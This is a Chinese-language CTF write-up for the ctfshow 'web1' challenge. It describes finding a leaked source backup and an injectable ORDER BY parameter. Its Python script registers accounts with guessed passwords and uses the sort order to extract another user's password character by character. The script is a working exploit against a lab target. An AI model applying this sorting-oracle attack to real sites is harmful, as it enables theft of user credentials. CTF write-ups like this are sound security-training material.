ctfshow CTFshow web1 wp

打开后是一个登录框,尝试一下sql注入发现不太行,于是先扫目录,发现一个www.zip。解压后审计一下,发现好多函数被过滤掉了,同时也发现其中存在select * from user order by $order,因此可以将user_main页的任意参数进行排序。而本题题目中说到flag在指定用户的密码中,显然就是在flag账号的密码中,暴力破解是不可能的,sql注入也不太能完成,但是这里存在对密码的排序,因此可以通过疯狂注册账号,不断地改变注册账号的密码来爆破出flag的密码。

脚本如下:

import requests

url='https://c5934155-d5e3-41c2-a5ae-fc0db6623f2e.challenge.ctf.show/'
url_reg='https://c5934155-d5e3-41c2-a5ae-fc0db6623f2e.challenge.ctf.show/reg.php'
url_login='https://c5934155-d5e3-41c2-a5ae-fc0db6623f2e.challenge.ctf.show/login.php'
url_chaxun='https://c5934155-d5e3-41c2-a5ae-fc0db6623f2e.challenge.ctf.show/user_main.php?order=pwd'

flag='ctfshow{b796d0af-3f81-4fe2-99a2-445f3ef37b03'
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for i in range(45):
    for j in s:
        passwd=""
        passwd=flag+j
        pass_true=chr(ord(j)-1)
        data1={'username':passwd,
        'email':'c',
        'nickname':'c',
        'password':passwd
        }
        data2 = {'username':passwd,
        'password':passwd
        }
        session=requests.session()
        response_reg=session.post(url_reg,data1)
        response_login=session.post(url_login,data2)
        response_chaxun=session.get(url_chaxun)
        ans=response_chaxun.text
        if ans.index("<td>"+passwd+"</td>")>ans.index("<td>flag_is_my_password</td>"):
            flag+=pass_true
            print(flag)
            break

结果如下:

将最后的|替换成}即可。

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值